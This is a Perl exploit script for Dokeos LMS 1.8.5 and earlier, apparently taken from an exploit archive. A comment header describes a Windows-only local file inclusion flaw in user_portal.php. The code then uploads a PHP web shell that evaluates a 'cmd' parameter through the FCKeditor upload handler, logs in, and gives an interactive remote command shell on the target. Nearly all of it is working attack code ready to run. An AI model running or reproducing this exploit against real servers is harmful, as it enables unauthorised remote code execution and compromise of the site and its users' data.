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Dokeos LMS <= 1.8.5 (include) Remote Code Execution Exploit
=========================================================== Dokeos LMS <= 1.8.5 (include) Remote Code Execution Exploit =========================================================== #!/usr/bin/perl # # Dokeos LMS <= 1.8.5 "include" Remote Code Execution Exploit # # Description # --------------------------------------------------------------- # Dokeos LMS contains one flaw that allows an attacker to include # a local file with "html" extension. # The issue is due to 'user_portal.php' script not properly # sanitizing user input supplied to the 'include' GET variable. # --------------------------------------------------------------- # Code Details (user_portal.php Line 770 - 774) # --------------------------------------------------------------- # if (!empty ($_GET['include']) && !strstr($_GET['include'], '/') # && strstr($_GET['include'], '.html')) # # { # include ('./home/'.$_GET['include']); # $pageIncluded = true; # } # --------------------------------------------------------------- # As you can see,it's possible to include files with "html" ext # and "/" isn't allowed,seems be a valid fix.It's useless on win # because you can use "\" to change directory. # This LFI is useful because in Dokeos LMS fckeditor exists in # /main/inc/lib/fckeditor/editor/filemanager/upload/php/upload.php # you can upload a file with ".html" extension. You'll have a rce # # Example: user_portal.php?include=..\main\upload\[FILE].html # it works regardless of php.ini settings on windows system only # --------------------------------------------------------------- # Thanks to Aquilo of http://zeroidentity.org - and #zeroidentity # --------------------------------------------------------------- # http://www.youtube.com/watch?v=JxZcFArCeKs english # http://www.youtube.com/watch?v=txY52DTtFhQ italian # --------------------------------------------------------------- # by Juri Gianni aka yeat - staker[at]hotmail[dot]it # --------------------------------------------------------------- use IO::Socket; use LWP::UserAgent; use HTTP::Cookies; my ($host,$path,$user,$pass) = @ARGV; if (@ARGV < 4) { print "Dokeos LMS <= 1.8.5 Remote Code Execution Exploit\n"; x__usage(); } do_exploit(); sub shell_up() { my ($data,$packet,$result); my $vector = chr(45) x27; my $socket = new IO::Socket::INET( PeerAddr => $host, PeerPort => 80, Proto => 'tcp', ) or die $!; $data .= $vector."--uploading\r\n"; $data .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"yeat.html\"\r\n"; $data .= "Content-Type: unknown/unknown\r\n\r\n"; $data .= "<?php error_reporting(E_ALL); if(isset(\$_GET['cmd'])){die(eval(stripslashes(\$_GET['cmd'])));} ?>\r\n"; $data .= $vector."--uploading--\r\n"; $packet .= "POST $path/main/inc/lib/fckeditor/editor/filemanager/upload/php/upload.php HTTP/1.0\r\n"; $packet .= "Content-Type: multipart/form-data; boundary=".$vector."uploading\r\n"; $packet .= "Host: $host\r\n"; $packet .= "User-Agent :Lynx (textmode)\r\n"; $packet .= "Content-Length: ".length($data)."\r\n"; $packet .= "Connection: Close\r\n\r\n"; $packet .= $data; $socket->send($packet); foreach $result (<$socket>) { if ($result =~ /OnUploadCompleted\(0,"(.+?)"/i) { return $1; } } } sub do_exploit() { my ($_riot,$shell,$cmd,$login); my $cookie = new HTTP::Cookies || die $!; my $sock_u = new LWP::UserAgent || die $!; $sock_u->cookie_jar($cookie); $sock_u->agent('Lynx (textmode)'); $sock_u->timeout(5); $_riot = shell_up() =~ /upload\/(.*)/i ? $1 : 0; $login = $sock_u->post("http://$host/$path/index.php", [ login => $user, password => $pass, submitAuth => 'Confirm', ]) || die $!; unless ($login->content =~ /class="logout"/i) { die("Login failed..\n"); } while (1) { print "\nyeat[shell]:~\$ "; chomp($cmd = <STDIN>); if ($cmd !~ /^exit+$/i) { $shell = $sock_u->get("http://$host/$path/user_portal.php?include=..\\main\\upload\\$_riot&cmd=$cmd"); if ($shell->content =~ /<div class="maincontent">(.*)/i) { print $1; } else { print "No output here..\n"; } } else { die("Exited successful..\n"); } } } sub x__usage() { print "Usage: perl xpl.pl host /path/ username password\n"; print "RunEx: perl localhost /dokeos/ yeat anarchy\n"; exit; } # 0day.today [2024-09-28] #